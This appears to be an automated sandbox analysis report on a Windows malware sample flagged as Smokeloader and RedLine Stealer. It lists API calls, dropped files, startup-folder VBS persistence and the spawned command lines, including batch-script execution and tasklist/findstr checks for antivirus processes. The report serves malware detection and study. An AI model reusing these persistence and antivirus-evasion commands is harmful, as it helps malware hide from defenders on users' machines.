Source: 00000005.00000002.1983746430.0000000000880000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000005.00000002.1983822753.00000000009D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_00401630 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401630
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_0040310D RtlCreateUserThread,NtTerminateProcess,	0_2_0040310D
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_00401647 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401647
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_00401660 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401660
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_00401663 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401663
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_00401666 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401666
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_00401674 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401674
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_00401678 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401678
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_0040282B NtEnumerateKey,NtClose,	0_2_0040282B
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_0040163B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_0040163B
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_0040343D GetForegroundWindow,NtMapViewOfSection,NtDuplicateObject,NtQuerySystemInformation,NtOpenKey,NtQueryKey,NtEnumerateKey,RtlCreateUserThread,strstr,tolower,	0_2_0040343D
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_0040249E NtQuerySystemInformation,NtQueryInformationProcess,	0_2_0040249E
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_004027E6 NtClose,	0_2_004027E6
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_00401630 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401630
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_0040310D RtlCreateUserThread,NtTerminateProcess,	5_2_0040310D
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_00401647 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401647
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_00401660 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401660
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_00401663 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401663
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_00401666 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401666
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_00401674 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401674
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_00401678 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_00401678
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_0040282B NtEnumerateKey,NtClose,	5_2_0040282B
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_0040163B NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_0040163B
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_0040343D GetForegroundWindow,NtMapViewOfSection,NtAllocateVirtualMemory,NtDuplicateObject,NtQuerySystemInformation,NtQueryInformationProcess,NtOpenKey,NtQueryKey,NtEnumerateKey,RtlCreateUserThread,strstr,wcsstr,tolower,towlower,	5_2_0040343D
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_0040249E NtQuerySystemInformation,NtQueryInformationProcess,	5_2_0040249E
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_004027E6 NtClose,	5_2_004027E6

Source: C:\Users\user\AppData\Local\Temp\A723.exe	Code function: 7_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,		7_2_004038AF
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Code function: 14_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,		14_2_00403883

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_0041E3C0	0_2_0041E3C0
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_0042175C	0_2_0042175C
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_0041F87B	0_2_0041F87B
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_00420303	0_2_00420303
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Code function: 0_2_0041FDBF	0_2_0041FDBF
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_0041E3C0	5_2_0041E3C0
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_0042175C	5_2_0042175C
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_0041F87B	5_2_0041F87B
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_00420303	5_2_00420303
Source: C:\Users\user\AppData\Roaming\jagvise	Code function: 5_2_0041FDBF	5_2_0041FDBF
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Code function: 7_2_0040737E	7_2_0040737E
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Code function: 7_2_00406EFE	7_2_00406EFE
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Code function: 7_2_004079A2	7_2_004079A2
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Code function: 7_2_004049A8	7_2_004049A8
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Code function: 12_2_0150ABB0	12_2_0150ABB0
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Code function: 12_2_0150ED90	12_2_0150ED90
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Code function: 12_2_01501CA0	12_2_01501CA0
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Code function: 12_2_0150ABA3	12_2_0150ABA3
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Code function: 12_2_0150B138	12_2_0150B138
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Code function: 12_2_01501C90	12_2_01501C90
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Code function: 12_2_075FE6A0	12_2_075FE6A0
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Code function: 12_2_075FDBC8	12_2_075FDBC8
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Code function: 12_2_075E0040	12_2_075E0040
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Code function: 12_2_075E001D	12_2_075E001D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_01012818	13_2_01012818
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_01012B78	13_2_01012B78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_010180B1	13_2_010180B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_010180F8	13_2_010180F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_01012808	13_2_01012808
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_01017FDB	13_2_01017FDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_02CB2009	13_2_02CB2009
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_02CB8F48	13_2_02CB8F48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_02CB2282	13_2_02CB2282
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_02CBD038	13_2_02CBD038
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_02CB3C40	13_2_02CB3C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_02CB6C1E	13_2_02CB6C1E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0532E550	13_2_0532E550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_053225E0	13_2_053225E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_053237A0	13_2_053237A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05336D60	13_2_05336D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0533C428	13_2_0533C428
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0533C418	13_2_0533C418
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05335470	13_2_05335470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05336CDB	13_2_05336CDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0533A970	13_2_0533A970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0533A960	13_2_0533A960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05334818	13_2_05334818
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0533E331	13_2_0533E331
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0533E340	13_2_0533E340
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Code function: 14_2_0040497C	14_2_0040497C
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Code function: 14_2_00406ED2	14_2_00406ED2
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Code function: 14_2_004074BB	14_2_004074BB

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\Bookings 865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4

Source: C:\Users\user\AppData\Local\Temp\A723.exe	Code function: String function: 004062CF appears 58 times
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Code function: String function: 004062A3 appears 58 times

Source: hoEtvOOrYH.exe	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: jagvise.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: hoEtvOOrYH.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1732204208.0000000000880000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1732453969.0000000002471000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.1983884104.0000000000A28000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1732280470.00000000008AA000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.1983794099.00000000009B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1732336579.0000000000990000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.1983746430.0000000000880000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000005.00000002.1983822753.00000000009D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23

Source: 12.2.3E6C.exe.3f89550.2.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 12.2.3E6C.exe.3f89550.2.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 12.2.3E6C.exe.3f89550.2.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 12.2.3E6C.exe.3f89550.2.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 12.2.3E6C.exe.3f89550.2.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 12.2.3E6C.exe.3f89550.2.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 12.2.3E6C.exe.3f89550.2.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 12.2.3E6C.exe.3f89550.2.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 12.2.3E6C.exe.3f89550.2.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 12.2.3E6C.exe.3f89550.2.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@30/31@13/8

Source: C:\Users\user\AppData\Local\Temp\A723.exe

7_2_004044D1

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe

Code function: 0_2_008ADA84 CreateToolhelp32Snapshot,Module32First,

0_2_008ADA84

Source: C:\Users\user\AppData\Local\Temp\A723.exe

Code function: 7_2_004024FB CoCreateInstance,

7_2_004024FB

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\jagvise

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7568:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Result.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\c3afda6f3dcb
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7004:120:WilError_03

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\A723.tmp

Jump to behavior

Source: C:\Windows\explorer.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs"

Source: hoEtvOOrYH.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: hoEtvOOrYH.exe

ReversingLabs: Detection: 60%

Source: unknown	Process created: C:\Users\user\Desktop\hoEtvOOrYH.exe "C:\Users\user\Desktop\hoEtvOOrYH.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jagvise C:\Users\user\AppData\Roaming\jagvise
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A723.exe C:\Users\user\AppData\Local\Temp\A723.exe
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Birth Birth.cmd && Birth.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3E6C.exe C:\Users\user\AppData\Local\Temp\3E6C.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C3F.exe C:\Users\user\AppData\Local\Temp\C3F.exe
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Focused Focused.cmd & Focused.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Result.exe "C:\Users\user\AppData\Roaming\Result.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A723.exe C:\Users\user\AppData\Local\Temp\A723.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3E6C.exe C:\Users\user\AppData\Local\Temp\3E6C.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C3F.exe C:\Users\user\AppData\Local\Temp\C3F.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Result.vbs"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Birth Birth.cmd && Birth.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3E6C.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C3F.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Focused Focused.cmd & Focused.cmd
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Result.exe "C:\Users\user\AppData\Roaming\Result.exe"
Source: C:\Users\user\AppData\Roaming\Result.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\hoEtvOOrYH.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfsrcsnk.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.shell.broker.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cdprt.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jagvise	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jagvise	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jagvise	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A723.exe	Section loaded: coremessaging.dll	Jump to behavior
